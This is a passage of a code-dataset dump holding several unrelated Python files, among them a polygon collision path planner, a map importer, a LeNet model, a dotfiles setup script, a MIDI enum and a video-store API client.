obstacle_polygon_normals = get_normals(obstacle_polygon)\n #Check each normal. If any one of these works, then you're good.\n for normal in robot_polygon_normals:\n projection_extremes_robot = get_min_max(robot_polygon, normal);\n projection_extremes_obstacle = get_min_max(obstacle_polygon, normal)\n if axes_separate(projection_extremes_robot, projection_extremes_obstacle, normal):\n #print \"FOUND THIS ONE\"\n #print projection_extremes_robot.min_proj, projection_extremes_robot.max_proj, \"RETURNED EXTREMES\"\n isSeparated = True\n #print \"robot first\"\n break\n \n if isSeparated:\n return True\n\n for normal in obstacle_polygon_normals:\n projection_extremes_obstacle = get_min_max(obstacle_polygon, normal);\n projection_extremes_robot = get_min_max(robot_polygon, normal)\n if axes_separate(projection_extremes_obstacle, projection_extremes_robot, normal):\n #print \"FOR THIS NORMAL\", normal\n isSeparated = True\n break\n if isSeparated:\n return True\n\n return False\n \n\ndef axes_separate(projection1, projection2, axis):\n if abs(numpy.dot(projection1.max_proj, axis)) < abs(numpy.dot(projection2.min_proj, axis)):#something is wrong here. This is not true in the test case\n #print \"min projection of square\", projection2.min_proj\n #print \"max projection of triangle\", projection1.max_proj\n #print \"case 1\"\n #print axis\n return True\n elif abs(numpy.dot(projection2.max_proj, axis)) < abs(numpy.dot(projection1.min_proj, axis)):\n #print \"case 2\"\n return True\n return False\n #return projection1.max_proj < projection2.min_proj or projection2.max_proj < projection1.min_proj\n\ndef get_min_max(polygon, axis):\n projections = []\n origin = (0,0) \n for i in range(0,len(polygon.all_vertices)):\n point_to = polygon.all_vertices[i]\n edge = (point_to[0]-origin[0], point_to[1]-origin[1])\n projection_scalar = (1.0*numpy.dot(axis,edge)/numpy.dot(axis,axis))\n projection = (projection_scalar * axis[0], projection_scalar * axis[1])\n projections.append(projection)\n #print projection\n minimum = min(projections, key = lambda p: abs(numpy.dot(p, axis)))\n maximum = max(projections, key = lambda p: abs(numpy.dot(p, axis)))\n #print \"min\", minimum\n #print \"max\", maximum\n return Projection_Extremes(minimum, maximum)\n\n\ndef get_normals(polygon):\n normals = []\n for i in range(0,len(polygon.all_vertices)):\n first_point = polygon.all_vertices[i-1]\n pointing_at = polygon.all_vertices[i]\n side_vector = (pointing_at[0]-first_point[0], pointing_at[1]-first_point[1])\n normal_vector =(-1*side_vector[1], side_vector[0])\n\n #normalizes\n normal_length = numpy.linalg.norm(normal_vector)\n normal_vector = [dim/normal_length for dim in normal_vector]\n normals.append(normal_vector)\n\n return normals\n\nclass Robot(physical_object.Physical_Object):\n def __init__ (self, polygon_list, current_location):\n physical_object.Physical_Object.__init__(self, polygon_list)\n self.collision_memory = {}\n self.current_location = current_location\n \n #moves the robot part to a new location\n #@param {Polygon} part - part of the robot that's moving\n #@param {tuple}movement_vector - list of changes in position, of form (deltaX, deltaY, deltaZ.......)\n def move_part(self, part, movement_vector):\n new_vertex_locations = []\n for vertex in part.all_vertices:\n vertex = (vertex[0]+movement_vector[0], vertex[1]+movement_vector[1])\n #vertex = tuple([vertex[dimension] + movement_vector[dimension] for dimension in range(len(movement_vector))])\n new_vertex_locations.append(vertex)\n part.all_vertices = new_vertex_locations\n return part\n\n # moves entire robot, part by part to a new location\n #@param {tuple}movement_vector - list of changes in position, of form (deltaX, deltaY, deltaZ.......)\n def move(self, movement_vector):\n for body_part in self.polygon_list:\n self.body_part = self.move_part(body_part, movement_vector)\n\n def move_to_point(self, point):\n deltaX = point[0]-self.current_location[0]\n deltaY = point[1]-self.current_location[1]\n self.move([deltaX, deltaY])\n\n #finds all possible places robot can move to \n #@param {Node}nodeToExpand\n #@param {resolution} spaces on grid on which robot may move\n #currently only supports 2 dimensions\n def successor(self, nodeToExpand, resolution, obstacle_list):\n state = nodeToExpand.state\n x = state[0]\n y = state[1]\n d = resolution\n all_possible_states = [(x+d, y), (x-d, y), (x, y+d), (x, y-d)]\n safe_states = []\n for possible_state in all_possible_states:\n #if not(self.collision_check(possible_state, obstacle_list)):\n if not self.collision_check(possible_state, obstacle_list):\n assert(possible_state != (200,200))\n safe_states.append(possible_state)\n return safe_states\n\n #@param {Obstacle} obstacle robot can collide with\n #@returns {Boolean} true if the robot will collide with said obstacle at that point\n def will_collide_with_obstacle(self, obstacle):\n for body_part in self.polygon_list:\n for obstacle_part in obstacle.polygon_list:\n if self.parts_will_collide(body_part, obstacle_part):\n return True\n return False\n #Determines whether two parts share points\n #@param {Polygon} body_part\n #@param {Polygon} obstacle\n #@returns{Boolean} \n\n def parts_will_collide(self, body_part, obstacle):\n for vertex in body_part.all_vertices:\n for other_vertex in obstacle.all_vertices:\n if vertex == other_vertex:\n return True\n return False\n\n #Figures out whether or not there will be a collision from that state, then stores that in its memory\n #@param {Tuple} state \n def collision_check(self, state, obstacle_list):\n if state in self.collision_memory and False:\n willCollide = self.collision_memory[state]\n else:\n willCollide = collision_test.will_collide(state, self, obstacle_list)\n self.collision_memory[state] = willCollide \n return willCollide\n \n #displays path on screen\n def display_path(self, path, screen, obstacle_list, previous_path = [(0,0), (0, 0.5)]):\n BLACK = (0, 0, 0) \n WHITE = (255, 255, 255)\n closed = False\n pygame.draw.lines(screen, BLACK, closed, path, 5)\n self.draw_parts(screen)\n for physical_object in self.obstacle_list:\n physical_object.draw_parts(screen)\n pygame.display.update()\n pygame.display.flip()\n screen.fill(WHITE)\n\n def in_bounds(self, new_state):\n return True\n #return new_state[0] < 400 and new_state[0] > 0 and new_state[1] < 400 and new_state[1] > 0\n #plans path to move. Robot thinks about how to move, and when it's ready to move, it will move. \n #@param start {tuple}\n #@param goal {tuple}\n #@param obstacle_list {list of Obstacle}\n #Draws the current paths in mind\n #returns a final path to the goal\n def blind_search(self, start, goal, obstacle_list, resolution, screen, algorithm):\n self.obstacle_list = obstacle_list #stored in robot's memory\n explored = {}\n start_node = search_lib.Node(start)\n queue = [start_node] \n \n while len(queue) > 0:\n nodeToExpand = queue.pop()\n if nodeToExpand.state == goal:\n return nodeToExpand.path\n\n new_state_list = self.successor(nodeToExpand, resolution, obstacle_list)\n for new_state in new_state_list:\n if new_state not in explored and self.in_bounds(new_state):\n explored[new_state] = True\n new_node = search_lib.Node(new_state, nodeToExpand)\n if (algorithm == \"BFS\"):\n queue.insert(0,new_node)\n elif (algorithm == \"DFS\"):\n queue.append(new_node)\n self.display_path(new_node.path, screen, nodeToExpand, obstacle_list)\n else:\n continue\n #print \"found nothing\"\n return None\n #Currently only supports 2 dimensions for simplicity\n #@param startnode\n #@param goal node\n #@param {Obstacle} obstacle_list\n #@param {int} resolution of grid\n #@param {Surface} screen to display paths on\n def plan(self, start, goal, obstacle_list, resolution, screen, algorithm):\n path = self.blind_search(start, goal, obstacle_list, resolution, screen, algorithm)\n return path\n\n\nclass Projection_Extremes:\n\n def __init__(self, min_proj, max_proj):\n self.min_proj = min_proj\n self.max_proj = max_proj\nclass Polygon:\n def __init__(self, reference_vertex, other_vertices):\n self.reference_vertex = reference_vertex\n self.other_vertices = other_vertices\n self.all_vertices = self.get_relative_vertices()\n self.color = (255, 0, 0)\n\n def get_relative_vertices(self):\n relative_vertex_list = [self.reference_vertex]\n for other_vertex in self.other_vertices:\n # list comprehension to allow multi dimensional reference points\n relative_vertex = [other_vertex[dimension]+self.reference_vertex[dimension] for dimension in range(len(self.reference_vertex))]\n relative_vertex_list.append(relative_vertex)\n relative_vertex_tuple = tuple(relative_vertex_list) # for performance\n return relative_vertex_tuple\n\n #Use pygame to draw polygon and fill it in with\n #tests if self has collided with obstacles\n def draw(self, screen):\n pygame.draw.polygon(screen, self.color, self.all_vertices)\n'''\nreference_point = (230,230)\nother_vertex_list = [(0,50), (50,50), (50,0)]\nsquare = Polygon(reference_point, other_vertex_list)\ntriangle_reference_point = (reference_point[0], reference_point[1]-50)\ntriangle_reference_point = (230,230)\ntriangle_other_vertex_list = [(0,50),(50,50)]\ntriangle = Polygon(triangle_reference_point, triangle_other_vertex_list)\ntriangle.color = (0, 0, 255)\n\nbecky = Robot([triangle], reference_point)\n\nother_vertex_list = [(0,50), (50,50), (50,0)]\nreference_point = (200,200)\nsquare = Polygon(reference_point, other_vertex_list)\nimport pygame\nblock = obstacle.Obstacle([square])\npygame.init()\nscreen = pygame.display.set_mode([400,400])\nscreen.fill((255,255,255))\nbecky.draw_parts(screen)\nblock.draw_parts(screen)\nclock = pygame.time.Clock() \n#print polygons_separate(triangle, square)\nprint will_collide((230,230), becky, [block])\nwhile True:\n clock.tick(5)\n'''\n\n","sub_path":"collision_testb.py","file_name":"collision_testb.py","file_ext":"py","file_size_in_byte":11682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"366662889","text":"from geom._geom import *\nfrom core.clip_helper import ClipHelper\nfrom utils.progress import Progress\nimport geom._geom as _geom\nfrom prep.preprocessor import Preprocessor\nfrom prep.transformer import *\nfrom utils.txdutil import TxdUtil\nimport os\nimport re\n\ndef quad_split_polygon(polygon, maxPointCount):\n polySet = [polygon]\n loop = 0\n while True and loop < 8:\n newPolySet = []\n for poly in polySet:\n if len(poly) > maxPointCount:\n newPolySet.extend(_geom.quad_split_polygon(poly))\n else:\n newPolySet.append(poly)\n if len(polySet) == len(newPolySet):\n break\n else:\n polySet = newPolySet\n loop += 1\n # print loop\n return polySet\n\nclass BackImporter:\n def __init__ (self, model, grid):\n self.__model = model\n self.__grid = grid\n self.__cutter = ClipHelper(grid)\n self.__preprocessor = Preprocessor()\n\n def process (self, filename, minlevel, maxlevel):\n self.__minlevel = minlevel\n self.__maxlevel = maxlevel\n cursize = 0\n progress = Progress(filename, 0, os.stat(filename)[6])\n for ln in open(filename):\n if ln.startswith('AF'):\n self.processAF(ln)\n elif ln.startswith('LF'):\n self.processLF(ln)\n elif ln.startswith('LM'):\n self.processLM(ln)\n elif ln.startswith('PF'):\n self.processPF(ln)\n cursize += len(ln)\n progress.update(cursize)\n\n def processAF(self, af):\n #if len(af) > 64*1024:\n # return\n grp = af.split(';')\n transtype = transform_af(grp)\n if transtype:\n themecode, featcode = transtype\n priority = int(grp[3])\n name = self.__preprocessor.nominalizeName(grp[6])\n polylist = []\n for poly in grp[2].split('|'):\n points = poly.split(',')\n poly = [(int(points[i]), int(points[i+1])) for i in range(0, len(points), 2)]\n # \n polyList = [poly]\n for level in range(self.__maxlevel-1, self.__minlevel-1, -1):\n newPolyList = []\n for poly in polyList:\n for mesh, clipPoly in self.__cutter.clipPolygon(poly, level):\n area = XBackArea()\n area.priority = priority\n area.themecode = themecode\n area.featcode = featcode\n area.name = name\n area.polylist = [clipPoly]\n # save\n model = self.__model[level]\n parcel = model.get(mesh)\n if not parcel:\n parcel = XParcel()\n parcel.back_area_list.append(area)\n model.put(mesh, parcel)\n newPolyList.append(clipPoly)\n polyList = newPolyList\n themecode = 0\n featcode = 0\n \n def processLF (self, lf):\n grp = lf.split(';')\n transtype = transform_lf(grp)\n if transtype:\n themecode, featcode = transtype\n priority = int(grp[3])\n name = self.__preprocessor.nominalizeName(grp[6])\n points = grp[2].split(',')\n poly = [(int(points[i]), int(points[i+1])) for i in range(0, len(points), 2)]\n for level in range(self.__minlevel, self.__maxlevel):\n for meshcode, segment in self.__cutter.clipPolyline(poly, level):\n edge = XBackEdge()\n edge.themecode = themecode\n edge.featcode = featcode\n edge.polyline = segment\n edge.name = name\n model = self.__model[level]\n parcel = model.get(meshcode)\n if not parcel:\n parcel = XParcel()\n parcel.back_edge_list.append(edge)\n model.put(meshcode, parcel)\n \n def processLM (self, lm):\n grp = lm.split(';')\n transtype = transform_lm(grp)\n if transtype:\n point = tuple([int(x) for x in grp[2].split(',')])\n name = self.__preprocessor.nominalizeName(grp[3])\n for level in range(self.__minlevel, self.__maxlevel):\n meshcode = self.__grid.getPointMesh(point, level)\n node = XBackNode()\n node.themecode = transtype[0]\n node.featcode = transtype[1]\n node.point = point\n node.name = name\n model = self.__model[level]\n parcel = model.get(meshcode)\n if not parcel:\n parcel = XParcel()\n parcel.back_node_list.append(node)\n model.put(meshcode, parcel)\n\n\n def processPF (self, pf):\n grp = pf.split(';')\n transtype = transform_pf(grp)\n if transtype:\n themecode, featcode = transtype\n point = tuple([int(x) for x in grp[2].split(',')])\n name = self.__preprocessor.nominalizeName(grp[6])\n for level in range(self.__minlevel, self.__maxlevel):\n meshcode = self.__grid.getPointMesh(point, level)\n node = XBackNode()\n node.themecode = themecode\n node.featcode = featcode\n node.point = point\n node.name = name\n model = self.__model[level]\n parcel = model.get(meshcode)\n if not parcel:\n parcel = XParcel()\n parcel.back_node_list.append(node)\n model.put(meshcode, parcel)","sub_path":"mc/prep/back_importer.py","file_name":"back_importer.py","file_ext":"py","file_size_in_byte":5928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"396562720","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as func\n\n\n# class LeNet(nn.Module):\n# def __init__(self):\n# super(LeNet, self).__init__()\n# self.conv1 = nn.Conv2d(3, 6, kernel_size=5)\n# self.conv2 = nn.Conv2d(6, 16, kernel_size=5)\n# self.fc1 = nn.Linear(16*5*5, 120)\n# self.fc2 = nn.Linear(120, 84)\n# self.fc3 = nn.Linear(84, 10)\n\n# def forward(self, x):\n# x = func.relu(self.conv1(x))\n# x = func.max_pool2d(x, 2)\n# x = func.relu(self.conv2(x))\n# x = func.max_pool2d(x, 2)\n# x = x.view(x.size(0), -1)\n# x = func.relu(self.fc1(x))\n# x = func.relu(self.fc2(x))\n# x = self.fc3(x)\n# return x\n\nclass LeNet(nn.Module):\n def __init__(self):\n super(LeNet, self).__init__()\n self.conv1 = nn.Conv2d(3, 6, kernel_size=5)\n self.conv2 = nn.Conv2d(6, 16, kernel_size=5)\n self.gap = nn.AvgPool2d(kernel_size = 5)\n\n def forward(self, x):\n x = func.relu(self.conv1(x))\n x = func.max_pool2d(x, 2)\n x = func.relu(self.conv2(x))\n x = func.max_pool2d(x, 2) # [100, 16, 5, 5]\n self.feature = x\n # Remove the dimension with one value\n gap = torch.squeeze(self.gap(x)) # [100, 16, 1, 1]->[100, 16]\n gap_w = torch.rand((100, 16, 10), requires_grad=True) # [100, 16, 10]\n x = torch.matmul(gap, gap_w)\n\n print('gap_size = {}, gap_w_size = {}, x_size = {}'.format(gap.size(), gap_w.size(), x.size()))\n return x","sub_path":"models/LeNet.py","file_name":"LeNet.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"298817084","text":"#Could use itertools for this but assignment was for version without this method\n#Also required recursion\n\ndef squash(vec):\n if not vec:\n return [] #if empty return empty\n return [e for e in flatten(vec) if e]\n \n\ndef flatten(v):\n if not v:\n return []\n if hasattr(v[0], '__iter__') and not isinstance(v[0], str):\n memorize = flatten(v[0])\n memorize.extend(flatten(v[1:]))\n return memorize\n else:\n memorize = flatten(v[1:])\n memorize.insert(0, v[0])\n return memorize\n\na = ['a', ['b', ['e', 'f'], 'd'], 'c']\nprint(squash(a))\n","sub_path":"classnotes/squash.py","file_name":"squash.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"184612699","text":"#!/usr/bin/env python\n\"\"\"setup.py\n\nConfiguration script to create symbolic links to configuration files in $HOME. This script is\nexpecting to be run from $HOME/.config/dotfiles; poor design, but quick-n-easy solution to the\nproblem at hand.\n\"\"\"\n\nimport os\nimport sys\n\ntry:\n os.chdir(os.environ.get('HOME'))\nexcept OSError:\n sys.exit()\n\nDOTFILES = ['.aliases',\n '.bashrc',\n '.bash_profile',\n '.env_exports',\n '.gitconfig',\n '.gitignore_global',\n '.latexmkrc',\n '.lstc',\n '.tmux.conf',\n '.vimrc',\n '.zshrc']\n\nfor dotfile in DOTFILES:\n if os.path.exists(dotfile):\n os.system('mv {} {}.save'.format(dotfile, dotfile))\n os.system('ln -s ~/.config/dotfiles/{}'.format(dotfile))\n\nos.system('git clone https://github.com/robbyrussell/oh-my-zsh.git '\n '~/.config/oh-my-zsh')\nos.system('git clone https://github.com/thewtex/tmux-mem-cpu-load.git '\n '~/.config/tmux-mem-cpu-load.git')\n\nos.system('git clone https://github.com/VundleVim/Vundle.vim.git '\n '~/.vim/bundle/Vundle.vim')\nos.system('vim +PluginInstall +qall')\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"183966282","text":"class WordGroup:\n\n def __init__(self, sentence):\n self.words = self.split_words(sentence.lower())\n self.sentence = sentence.lower()\n\n # Copied from http://stackoverflow.com/questions/17870544/find-starting-and-ending-indices-of-sublist-in-list\n # Modified to work with my own codebase\n def find_in_word_group(self, wg):\n sl = self.words\n l = wg.words\n\n sll = len(sl)\n for ind in (i for i, e in enumerate(l) if e == sl[0]):\n if l[ind:ind+sll] == sl:\n return ind, ind+sll-1\n return (-1, -1)\n\n def remove_n_words_from_front(self, n):\n \"\"\"Removes n words from the front of the word group.\n\n :param n: The amount of words to remove\n :type n: int\n :returns: None\n :rtype: dict\n \"\"\"\n if len(self.words) > n:\n self.words = self.words[n:]\n self.sentence = \"\".join(self.words)\n else:\n self.words = []\n self.sentence = \"\".join(self.words)\n\n def trim_next_word_off_sentence(self, string):\n \"\"\"Removes n words from a given string and return the string\n\n :param string: The string to remove the next word from\n :type string: string\n :returns: The string that had the word removed\n :rtype: string\n \"\"\"\n if string.find(' ') < 0:\n string = ''\n return ''\n string = string[string.strip().find(' '):].strip()\n return string\n\n def get_next_word(self, string):\n \"\"\"Returns the next word in the given string\n\n :param string: The string to return the next word from\n :type string: string\n :returns: The next word in the string\n :rtype: string\n \"\"\"\n if string.find(' ') < 0:\n return string\n\n word = string[:string.strip().find(' ')]\n return word\n\n def split_words(self, string):\n \"\"\"Splits a string into individual words\n\n :param string: The string to split\n :type string: string\n :returns: The individual words in a list\n :rtype: list\n \"\"\"\n result = []\n while string != '':\n next_word = self.get_next_word(string)\n if next_word != '':\n result.append(next_word)\n string = self.trim_next_word_off_sentence(string)\n return result\n\n\nif __name__ == \"__main__\":\n wg = WordGroup(\"This class creates a word group from a string\")\n print(wg.words)\n wg = WordGroup(\"It works with double spaces\")\n print(wg.words)\n wg = WordGroup(\"and tabs \")\n print(wg.words)\n","sub_path":"Sequelizer/src/nlq/WordGroup.py","file_name":"WordGroup.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"21310596","text":"#coding=utf-8\n\n\nclass EnumMsg():\n '''\n Channel message\n '''\n NOTE_OFF = 0x80\n NOTE_ON = 0x90\n POLY_PRESSURE = 0xA0 #\t???????(??)\n CONTROL_CHANGE = 0xB0 #\t??????\n PROGRAM_CHANGE = 0xC0 #\t??(??)??\n CHANNEL_PRESSURE = 0xD0 #\t?????\n PITCH_BEND = 0xE0 #\t??\n\n \"\"\"\n Meta message\n \"\"\"\n\n META = 0xFF #\tMeta tag\n SEQ_NUM = 0x00 # Sequence number\n TEXT = 0x01 # Text\n COPY_RIGHT = 0x02 # Copyright notice\n TRACK_NAME = 0x03 # Sequence or track name\n INSTRUMENT_NAME = 0x04 # Instrument name\n LYRIC_TXT = 0x05 # Lyric text\n MARKER_TXT = 0x06 # Marker text\n CUE_POINT = 0x07 # Cue point\n PROGRAM_NAME = 0x08 # Program name\n DEVICE_NAME = 0x09 # Device name\n CHANNEL_PREFIX = 0x20 # MIDI channel prefix assignment\n END_OF_TRK = 0x2F # End of track\n SET_TEMPO = 0x51 # 1/4 Tempo setting\n SMPTE_OFFSET = 0x54 # SMPTE offset\n TIME_SIGN = 0x58 # Time signature\n KEY_SIGN = 0x59 # Key signature\n SEQ_SPEC = 0x7F # Sequencer specific event\n\n '''\n System Real Time Message\n '''\n TIMING_CLOCK = 0xF8 # ????\n RESERVED_0xF9 = 0xF9 #\t??\n SYS_START = 0xFA #\t?????????(????????????????)\n SYS_CONTINUE = 0xFB #\t???????????????\n SYS_STOP = 0xFC #\t??????\n RESERVED_0xFD = 0xFD #\t??\n ACTIVE_SENDING = 0xFE #\t??????\n #public static const\tSYS_RESET \t\t\t=\t0xFF\t\t#\t????\n '''\n System message\n '''\n SYSTEM_EXCLUSIVE = 0xF0 #\t???????,????????\n MIDI_TIME_CODE = 0xF1 #\tmidi???\n SONG_POSITION = 0xF2 #\t????\n SONG_SELECT = 0xF3 #\t??\n RESERVED_0xF4 = 0xF4 #\t??\n RESERVED_0xF5 = 0xF5 #\t??\n TUNE_REQUEST = 0xF6 #\t??\n END_OF_SYS_EX = 0xF7 #\t??????????\n\n NOTE = 0x00 # zero can be presents the note kind\n '''\n Initialize the static block\n '''\n message = {}\n message[NOTE_OFF] = \"NOTE_OFF\"\n message[NOTE_ON] = \"NOTE_ON\"\n message[POLY_PRESSURE] = \"POLY_PRESSURE\"\n message[CONTROL_CHANGE] = \"CONTROL_CHANGE\"\n message[PROGRAM_CHANGE] = \"PROGRAM_CHANGE\"\n message[CHANNEL_PRESSURE] = \"CHANNEL_PRESSURE\"\n message[PITCH_BEND] = \"PITCH_BEND\"\n\n message[META] = \"META\"\n message[SEQ_NUM] = \"SEQ_NUM\"\n message[TEXT] = \"TEXT\"\n message[COPY_RIGHT] = \"COPY_RIGHT\"\n message[TRACK_NAME] = \"SEQ_TRK_NAME\"\n message[INSTRUMENT_NAME] = \"INSTRUMENT_NAME\"\n message[LYRIC_TXT] = \"LYRIC_TXT\"\n message[MARKER_TXT] = \"MARKER_TXT\"\n message[CUE_POINT] = \"CUE_POINT\"\n message[PROGRAM_NAME] = \"PROGRAM_NAME\"\n message[DEVICE_NAME] = \"DEVICE_NAME\"\n message[CHANNEL_PREFIX] = \"CHANNEL_PREFIX\"\n message[END_OF_TRK] = \"END_OF_TRK\"\n message[SET_TEMPO] = \"SET_TEMPO\"\n message[SMPTE_OFFSET] = \"SMPTE_OFFSET\"\n message[TIME_SIGN] = \"TIME_SIGN\"\n message[KEY_SIGN] = \"KEY_SIGN\"\n message[SEQ_SPEC] = \"SEQ_SPEC\"\n\n message[TIMING_CLOCK] = \"TIMING_CLOCK\"\n message[RESERVED_0xF9] = \"RESERVED_0xF9\"\n message[SYS_START] = \"SYS_START\"\n message[SYS_CONTINUE] = \"SYS_CONTINUE\"\n message[SYS_STOP] = \"SYS_STOP\"\n message[RESERVED_0xFD] = \"RESERVED_0xFD\"\n message[ACTIVE_SENDING] = \"ACTIVE_SENDING\"\n # _message[SYS_RESET] = \"SYS_RESET\"\n\n message[SYSTEM_EXCLUSIVE] = \"SYSTEM_EXCLUSIVE\"\n message[MIDI_TIME_CODE] = \"MIDI_TIME_CODE\"\n message[SONG_POSITION] = \"SONG_POSITION\"\n message[SONG_SELECT] = \"SONG_SELECT\"\n message[RESERVED_0xF4] = \"RESERVED_0xF4\"\n message[RESERVED_0xF5] = \"RESERVED_0xF5\"\n message[TUNE_REQUEST] = \"TUNE_REQUEST\"\n message[END_OF_SYS_EX] = \"END_OF_SYS_EX\"\n\n message[NOTE] = \"NOTE\"\n '''\n 每分钟的微秒数60 10e-6\n BPM = MICROSECONDS_PER_MINUTE / MPQN\n MPQN = MICROSECONDS_PER_MINUTE / BPM\n '''\n MICROSECONDS_PER_MINUTE = 60000000\n\n\n def __init__(self):\n pass","sub_path":"src/utils/midi/enumMsg.py","file_name":"enumMsg.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"105705277","text":"import numpy as np\nimport torch\nimport random\nimport math\nfrom environments.atari_wrappers import wrap_deepmind\nfrom collections import deque\nimport cv2\n\nclass ActionSelector(object):\n def __init__(self, INITIAL_EPSILON, FINAL_EPSILON, policy_net, EPS_DECAY, n_actions, device):\n self._eps = INITIAL_EPSILON\n self._FINAL_EPSILON = FINAL_EPSILON\n self._INITIAL_EPSILON = INITIAL_EPSILON\n self._policy_net = policy_net\n self._EPS_DECAY = EPS_DECAY\n self._n_actions = n_actions\n self._device = device\n\n def select_action(self, state, training=True):\n sample = random.random()\n if training:\n self._eps -= (self._INITIAL_EPSILON -\n self._FINAL_EPSILON)/self._EPS_DECAY\n self._eps = max(self._eps, self._FINAL_EPSILON)\n if sample > self._eps:\n with torch.no_grad():\n a = self._policy_net(state.to(self._device)).max(1)[\n 1].cpu().view(1, 1)\n else:\n a = torch.tensor([[random.randrange(self._n_actions)]],\n device='cpu', dtype=torch.long)\n\n return a.numpy()[0, 0].item(), self._eps\n\n\ndef fp(n_frame):\n n_frame = torch.from_numpy(n_frame)\n h = n_frame.shape[-2]\n return n_frame.view(8, h, h)\n\ndef evaluate(step, policy_net, device, env, n_actions, eps=0.05, num_episode=5):\n sa = ActionSelector(eps, eps, policy_net, 1, n_actions, device)\n e_rewards = []\n q = deque(maxlen=5)\n for _ in range(num_episode):\n env.reset()\n e_reward = 0\n for _ in range(10): # no-op\n n_frame, _, done, _ = env.step(0)\n n_frame = fp(n_frame)\n q.append(n_frame)\n\n while not done:\n state = torch.cat(list(q))[8:].unsqueeze(0)\n action, eps = sa.select_action(state, True)\n n_frame, reward, done, _ = env.step(action)\n n_frame = fp(n_frame)\n q.append(n_frame)\n \n e_reward += reward\n e_rewards.append(e_reward)\n\n return float(sum(e_rewards))/float(num_episode)\n","sub_path":"active_rl/utils/KGW_utils.py","file_name":"KGW_utils.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"23955501","text":"import requests\nimport datetime\n\n\nclass VideoStore:\n def __init__(self, url=\"http://localhost:5000/\"):\n self.url = url\n \n def list_customers(self):\n response = requests.get(self.url+\"/customers\")\n return response.json()\n \n def add_customer(self, name=\"Admin\", postal_code=\"00000\", phone=\"111-111-1111\"):\n query_params = {\n \"name\": name,\n \"postal_code\": postal_code,\n \"phone\": phone\n }\n response = requests.post(self.url+\"/customers\",json=query_params)\n return response.json()\n \n def select_customer(self, id=None):\n response = requests.get(self.url+f\"/customers/{id}\")\n return response.json()\n \n def edit_customer(self, id=None, name=\"Admin\", postal_code=\"00000\", phone=\"111-111-1111\"):\n selected_customer = requests.get(self.url+f\"/customers/{id}\").json()\n if not name:\n name = selected_customer[\"name\"]\n if not postal_code:\n postal_code = selected_customer[\"postal_code\"]\n if not phone:\n phone = selected_customer[\"phone\"]\n query_params = {\n \"name\": name,\n \"postal_code\": postal_code,\n \"phone\": phone\n }\n response = requests.put(\n self.url+f\"/customers/{id}\",\n json=query_params\n )\n return response.json()\n \n def delete_customer(self, id=None):\n response = requests.delete(self.url+f\"/customers/{id}\")\n return response.json()\n# ----------------------------------------------------------------------\n def list_videos(self):\n response = requests.get(self.url+\"/videos\")\n return response.json()\n \n def select_video(self, id=None):\n response = requests.get(self.url+f\"/videos/{id}\")\n return response.json()\n \n def add_video(self, title=\"Awesome movie\", release_date=\"1988-01-01\", total_inventory=10):\n query_params = {\n \"title\": title,\n \"release_date\": release_date,\n \"total_inventory\": total_inventory\n }\n response = requests.post(self.url+\"/videos\",json=query_params)\n return response.json()\n \n def edit_video(self, id, title, release_date, total_inventory):\n selected_video = requests.get(self.url+f\"/videos/{id}\").json()\n if not title:\n title = selected_video[\"title\"]\n if not release_date:\n release_date = selected_video[\"release_date\"]\n if not total_inventory:\n total_inventory = selected_video[\"total_inventory\"]\n query_params = {\n \"title\": title,\n \"release_date\": release_date,\n \"total_inventory\": total_inventory\n }\n response = requests.put(self.url+f\"/videos/{id}\", json=query_params)\n return response.json()\n \n def delete_video(self, id=None):\n response = requests.delete(self.url+f\"/videos/{id}\")\n return response.json()\n# ----------------------------------------------------------------------\n def check_out(self, customer_id=None, video_id=None):\n query_params = {\n \"customer_id\": customer_id,\n \"video_id\": video_id\n }\n response = requests.post(self.url+\"/rentals/check-out\",json=query_params)\n return response.json()\n \n def check_in(self, customer_id=None, video_id=None):\n query_params = {\n \"customer_id\": customer_id,\n \"video_id\": video_id\n }\n response = requests.post(self.url+\"/rentals/check-in\",json=query_params)\n return response.json()","sub_path":"video_store.py","file_name":"video_store.py","file_ext":"py","file_size_in_byte":3634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"313104652","text":"import os\r\nimport csv\r\nimport torch\r\nfrom torchblocks.losses import KL\r\nfrom torchblocks.metrics import MattewsCorrcoef\r\nfrom torchblocks.trainer import TextClassifierTrainer\r\nfrom torchblocks.callback import ModelCheckpoint, TrainLogger\r\nfrom torchblocks.processor import TextClassifierProcessor, InputExample\r\nfrom torchblocks.utils import seed_everything, dict_to_text, build_argparse\r\nfrom torchblocks.utils import prepare_device, get_checkpoints\r\nfrom transformers import BertForSequenceClassification, BertConfig, BertTokenizer\r\nfrom transformers import WEIGHTS_NAME\r\n\r\nMODEL_CLASSES = {\r\n 'bert': (BertConfig, BertForSequenceClassification, BertTokenizer)\r\n}\r\n\r\nkl = KL()\r\n\r\ndef adv_project(grad, norm_type='inf', eps=1e-6):\r\n if norm_type == 'l2':\r\n direction = grad / (torch.norm(grad, dim=-1, keepdim=True) + eps)\r\n elif norm_type == 'l1':\r\n direction = grad.sign()\r\n else:\r\n direction = grad / (grad.abs().max(-1, keepdim=True)[0] + eps)\r\n return direction\r\n\r\nclass ColaProcessor(TextClassifierProcessor):\r\n def __init__(self, tokenizer, data_dir, logger, prefix):\r\n super().__init__(tokenizer=tokenizer, data_dir=data_dir, logger=logger, prefix=prefix)\r\n\r\n def get_labels(self):\r\n \"\"\"See base class.\"\"\"\r\n return [\"0\", \"1\"]\r\n\r\n def read_data(self, input_file):\r\n 